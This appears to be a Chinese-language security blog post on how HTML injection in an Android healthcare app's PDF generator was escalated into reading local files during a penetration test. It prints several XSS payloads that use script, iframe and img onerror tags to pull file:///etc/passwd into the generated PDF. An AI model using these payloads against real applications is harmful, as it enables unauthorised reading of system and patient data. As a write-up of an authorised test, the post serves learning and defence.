前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Leveraging XSS to Read Internal Files

Leveraging XSS to Read Internal Files

作者头像
Al1ex
发布2022-06-23 15:50:22
6980
发布2022-06-23 15:50:22
举报
文章被收录于专栏:网络安全攻防

文章前言

每个人都熟悉什么是XSS,这是一篇关于我如何设法在一个Android应用程序的PDF生成器中获得XSS的文章,它允许我读取系统上的本地文件

背景介绍

这是一个与医疗保健相关的应用程序/渗透测试,它有一个Android应用程序,他们预先安装在他们的Android平板电脑中并锁定它们,因此文件系统访问或任何应用程序访问都是不可能的。

它安装了一个自定义启动器,阻止用户更改屏幕或访问内部任何内容,就像您在商场展示的手机上看到的一样。

所以找到本地文件读取绝对是一个关键,因为它绕过了应用程序的业务逻辑并允许攻击者访问内部数据。

XSS => LFI

在移动设备或任何应用程序中查找XSS并不少见,这类问题很普遍,但我遇到的问题是在PDF生成的输出中,该应用程序允许我编辑任何患者的记录并打印出他们的详细信息,这也允许我将输出保存为PDF文件,所以我尝试输入一个普通的HTML有效负载,看看它是否在生成的PDF输出中呈现。

代码语言:javascript
复制
<h1>test</h1>test2

看到它被执行,我并不感到惊讶,我在一些博客中看到的下一个方法是检查是否可以读取本地文件,因为所有这些都发生在本地,这是我尝试过的有效载荷

代码语言:javascript
复制
<script>
    x=new XMLHttpRequest;
    x.onload=function(){
        document.write(this.responseText)
    };
    x.open("GET","file:///etc/passwd");
    x.send();
</script>

但由于某种原因,它不起作用并继续加载同一页面,然后我尝试了另一个使用<img>标签的有效负载

代码语言:javascript
复制
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>

效果不好,应用程序崩溃了,也许是因为onerror或img,因此我没有使用所有复杂的有效载荷,而是尝试了一个简单的有效载荷,即

代码语言:javascript
复制
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>

并在生成的 PDF 文件中读取了文件,如下所示

这绕过了禁止用户访问系统并允许他们读取内部文件的启动器

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档